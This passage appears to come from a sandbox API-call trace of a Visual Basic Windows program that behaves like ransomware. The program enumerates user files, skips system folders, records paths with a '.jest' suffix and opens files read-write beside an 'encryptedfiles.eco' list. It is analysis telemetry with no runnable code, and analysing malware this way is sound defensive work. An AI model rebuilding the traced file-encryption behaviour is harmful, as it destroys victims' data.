HALPmcxz\\AppData\\Local\\Microsoft\\Windows") returned="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows" [0120.538] GetLastError () returned 0x0 [0120.539] CloseHandle (hObject=0x2c4) returned 1 [0120.539] GetLastError () returned 0x0 [0120.539] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.539] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WindowsUpdate.log", cchLength=0x50 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\windowsupdate.log") returned 0x50 [0120.539] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.539] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WindowsUpdate.log", cchLength=0x50 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\windowsupdate.log") returned 0x50 [0120.539] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.539] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WindowsUpdate.log", cchLength=0x50 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\windowsupdate.log") returned 0x50 [0120.539] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.539] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WindowsUpdate.log", cchLength=0x50 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\windowsupdate.log") returned 0x50 [0120.540] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.540] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WindowsUpdate.log", cchLength=0x50 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\windowsupdate.log") returned 0x50 [0120.540] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.540] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WindowsUpdate.log", cchLength=0x50 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\windowsupdate.log") returned 0x50 [0120.540] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.540] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.540] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.540] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.540] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.540] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.540] lstrcpynW (in: lpString1=0x14da7c4, lpString2="prefs.js", iMaxLength=9 | out: lpString1="prefs.js") returned="prefs.js" [0120.540] GetLastError () returned 0x0 [0120.541] lstrcpynW (in: lpString1=0x14da7ec, lpString2="CUSTOM.DICĈ", iMaxLength=11 | out: lpString1="CUSTOM.DIC") returned="CUSTOM.DIC" [0120.541] GetLastError () returned 0x0 [0120.541] lstrcpynW (in: lpString1=0x14da7c4, lpString2="desktop.ini", iMaxLength=12 | out: lpString1="desktop.ini") returned="desktop.ini" [0120.541] GetLastError () returned 0x0 [0120.541] lstrcpynW (in: lpString1=0x14b46bc, lpString2="PING.EXE-6B29C0CD.pf", iMaxLength=21 | out: lpString1="PING.EXE-6B29C0CD.pf") returned="PING.EXE-6B29C0CD.pf" [0120.541] GetLastError () returned 0x0 [0120.542] lstrcpynW (in: lpString1=0x14da7ec, lpString2="desktop.ini", iMaxLength=12 | out: lpString1="desktop.ini") returned="desktop.ini" [0120.542] GetLastError () returned 0x0 [0120.542] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0120.542] GetTickCount () returned 0x1150cfc [0120.542] GetTickCount () returned 0x1150cfc [0120.542] GetTickCount () returned 0x1150cfc [0120.542] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.543] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.543] GetTickCount () returned 0x1150cfc [0120.543] IsWindowVisible (hWnd=0x30268) returned 0 [0120.543] Sleep (dwMilliseconds=0x0) [0120.546] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0120.546] GetTickCount () returned 0x1150cfc [0120.546] GetTickCount () returned 0x1150cfc [0120.546] GetTickCount () returned 0x1150cfc [0120.546] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.546] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.546] GetTickCount () returned 0x1150cfc [0120.546] IsWindowVisible (hWnd=0x30268) returned 0 [0120.546] Sleep (dwMilliseconds=0x0) [0120.547] lstrcpynW (in: lpString1=0x14b46bc, lpString2="FlashInstall.log", iMaxLength=17 | out: lpString1="FlashInstall.log") returned="FlashInstall.log" [0120.547] GetLastError () returned 0x0 [0120.547] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="娣", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.548] GetLastError () returned 0x0 [0120.548] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.548] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14e19e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14e19e0) returned 0x0 [0120.548] GetLastError () returned 0x0 [0120.548] lstrcpynW (in: lpString1=0x1445ffc, lpString2="\\Windows\\SysWOW64\\Macromed\\Flash", iMaxLength=33 | out: lpString1="\\Windows\\SysWOW64\\Macromed\\Flash") returned="\\Windows\\SysWOW64\\Macromed\\Flash" [0120.548] GetLastError () returned 0x0 [0120.549] CloseHandle (hObject=0x2c4) returned 1 [0120.549] GetLastError () returned 0x0 [0120.549] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.549] CharLowerBuffW (in: lpsz="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashInstall.log", cchLength=0x34 | out: lpsz="c:\\windows\\syswow64\\macromed\\flash\\flashinstall.log") returned 0x34 [0120.549] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.549] CharLowerBuffW (in: lpsz="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashInstall.log", cchLength=0x34 | out: lpsz="c:\\windows\\syswow64\\macromed\\flash\\flashinstall.log") returned 0x34 [0120.549] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.549] CharLowerBuffW (in: lpsz="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashInstall.log", cchLength=0x34 | out: lpsz="c:\\windows\\syswow64\\macromed\\flash\\flashinstall.log") returned 0x34 [0120.549] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.550] CharLowerBuffW (in: lpsz="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashInstall.log", cchLength=0x34 | out: lpsz="c:\\windows\\syswow64\\macromed\\flash\\flashinstall.log") returned 0x34 [0120.550] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.550] CharLowerBuffW (in: lpsz="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashInstall.log", cchLength=0x34 | out: lpsz="c:\\windows\\syswow64\\macromed\\flash\\flashinstall.log") returned 0x34 [0120.550] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.550] CharLowerBuffW (in: lpsz="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashInstall.log", cchLength=0x34 | out: lpsz="c:\\windows\\syswow64\\macromed\\flash\\flashinstall.log") returned 0x34 [0120.550] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.550] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.550] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.550] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.550] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.551] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.551] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0120.551] GetTickCount () returned 0x1150d0c [0120.551] GetTickCount () returned 0x1150d0c [0120.551] GetTickCount () returned 0x1150d0c [0120.551] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.551] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.551] GetTickCount () returned 0x1150d0c [0120.551] IsWindowVisible (hWnd=0x30268) returned 0 [0120.551] Sleep (dwMilliseconds=0x0) [0120.556] lstrcpynW (in: lpString1=0x142fffc, lpString2="MSO1033.acl", iMaxLength=12 | out: lpString1="MSO1033.acl") returned="MSO1033.acl" [0120.556] GetLastError () returned 0x0 [0120.556] lstrcpynW (in: lpString1=0x14da7c4, lpString2="desktop.ini", iMaxLength=12 | out: lpString1="desktop.ini") returned="desktop.ini" [0120.556] GetLastError () returned 0x0 [0120.556] lstrcpynW (in: lpString1=0x1433584, lpString2="ContentStore.xml", iMaxLength=17 | out: lpString1="ContentStore.xml") returned="ContentStore.xml" [0120.556] GetLastError () returned 0x0 [0120.556] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᶎ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.558] GetLastError () returned 0x0 [0120.558] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.558] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14e19e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14e19e0) returned 0x0 [0120.558] GetLastError () returned 0x0 [0120.558] lstrcpynW (in: lpString1=0x144bb04, lpString2="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", iMaxLength=80 | out: lpString1="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks") returned="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks" [0120.558] GetLastError () returned 0x0 [0120.558] CloseHandle (hObject=0x2c4) returned 1 [0120.558] GetLastError () returned 0x0 [0120.558] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.559] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", cchLength=0x63 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml") returned 0x63 [0120.559] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.559] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", cchLength=0x63 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml") returned 0x63 [0120.559] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.559] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", cchLength=0x63 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml") returned 0x63 [0120.559] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.559] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", cchLength=0x63 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml") returned 0x63 [0120.559] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.559] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", cchLength=0x63 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml") returned 0x63 [0120.559] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.560] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", cchLength=0x63 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml") returned 0x63 [0120.560] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.560] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.560] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.560] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.560] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.560] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.560] IMalloc:Alloc (This=0x767666bc, cb=0xd2) returned 0x1467b40 [0120.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.jest\r\n", cchWideChar=105, lpMultiByteStr=0x1467b40, cbMultiByte=210, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.jest\r\n", lpUsedDefaultChar=0x0) returned 105 [0120.560] WriteFile (in: hFile=0x2e0, lpBuffer=0x1467b40*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1467b40*, lpNumberOfBytesWritten=0x18e6a4*=0x69, lpOverlapped=0x0) returned 1 [0120.560] IMalloc:Free (This=0x767666bc, pv=0x1467b40) [0120.560] GetCurrentProcessId () returned 0x9e0 [0120.560] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.561] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0120.561] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0120.561] GetTickCount () returned 0x1150d0c [0120.561] GetTickCount () returned 0x1150d0c [0120.561] GetTickCount () returned 0x1150d0c [0120.561] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.561] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.561] GetTickCount () returned 0x1150d0c [0120.561] IsWindowVisible (hWnd=0x30268) returned 0 [0120.561] Sleep (dwMilliseconds=0x0) [0120.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", cchWideChar=-1, lpMultiByteStr=0x18e878, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpUsedDefaultChar=0x0) returned 99 [0120.562] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpFilePart=0x18e870*="ContentStore.xml") returned 0x62 [0120.562] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0120.562] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c4 [0120.563] GetFileType (hFile=0x2c4) returned 0x1 [0120.563] IMalloc:Alloc (This=0x767666bc, cb=0x9f) returned 0x145ef30 [0120.563] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.563] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa8 [0120.563] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.563] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb34 | out: ppsaOut=0x18eb34) returned 0x0 [0120.563] ReadFile (in: hFile=0x2c4, lpBuffer=0x14cf418, nNumberOfBytesToRead=0xa8, lpNumberOfBytesRead=0x18e9dc, lpOverlapped=0x0 | out: lpBuffer=0x14cf418*, lpNumberOfBytesRead=0x18e9dc*=0xa8, lpOverlapped=0x0) returned 1 [0120.564] CloseHandle (hObject=0x2c4) returned 1 [0120.564] IMalloc:Free (This=0x767666bc, pv=0x145ef30) [0120.564] VarBstrCmp (bstrLeft="msvbvm60.dll", bstrRight="msvbvm60.dll", lcid=0x0, dwFlags=0x30001) returned 0x1 [0120.564] SafeArrayRedim (in: psa=0x14da4c0, psaboundNew=0x18e9e0 | out: psa=0x14da4c0) returned 0x0 [0120.565] RtlMoveMemory (in: Destination=0x1467b4c, Source=0x1467b40, Length=0xa8 | out: Destination=0x1467b4c) [0120.565] GetLastError () returned 0x0 [0120.565] RtlMoveMemory (in: Destination=0x1467b48, Source=0x18eaa4, Length=0x4 | out: Destination=0x1467b48) [0120.565] GetLastError () returned 0x0 [0120.565] RtlMoveMemory (in: Destination=0x1467b40, Source=0x18ea5c, Length=0x4 | out: Destination=0x1467b40) [0120.565] GetLastError () returned 0x0 [0120.565] RtlMoveMemory (in: Destination=0x1467b44, Source=0x18ea5c, Length=0x4 | out: Destination=0x1467b44) [0120.565] GetLastError () returned 0x0 [0120.565] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.565] GetLastError () returned 0x0 [0120.565] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.565] GetLastError () returned 0x0 [0120.565] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.565] GetLastError () returned 0x0 [0120.565] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.565] GetLastError () returned 0x0 [0120.565] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.565] GetLastError () returned 0x0 [0120.565] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.565] GetLastError () returned 0x0 [0120.565] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.565] GetLastError () returned 0x0 [0120.565] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.565] GetLastError () returned 0x0 [0120.565] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.565] GetLastError () returned 0x0 [0120.566] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.566] GetLastError () returned 0x0 [0120.566] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.566] GetLastError () returned 0x0 [0120.566] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.566] GetLastError () returned 0x0 [0120.566] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.566] GetLastError () returned 0x0 [0120.566] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.566] GetLastError () returned 0x0 [0120.566] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.566] GetLastError () returned 0x0 [0120.566] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.566] GetLastError () returned 0x0 [0120.566] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.566] GetLastError () returned 0x0 [0120.566] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.566] GetLastError () returned 0x0 [0120.566] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.566] GetLastError () returned 0x0 [0120.566] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.566] GetLastError () returned 0x0 [0120.566] GetCurrentProcessId () returned 0x9e0 [0120.566] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.566] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0120.566] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.567] GetTickCount () returned 0x1150d1b [0120.567] GetTickCount () returned 0x1150d1b [0120.567] GetTickCount () returned 0x1150d1b [0120.567] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.567] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.567] GetTickCount () returned 0x1150d1b [0120.567] IsWindowVisible (hWnd=0x30268) returned 0 [0120.567] Sleep (dwMilliseconds=0x0) [0120.567] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.567] GetLastError () returned 0x0 [0120.567] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.567] GetLastError () returned 0x0 [0120.567] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.567] GetLastError () returned 0x0 [0120.568] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.568] GetLastError () returned 0x0 [0120.568] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.568] GetLastError () returned 0x0 [0120.568] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.568] GetLastError () returned 0x0 [0120.568] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.568] GetLastError () returned 0x0 [0120.568] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, 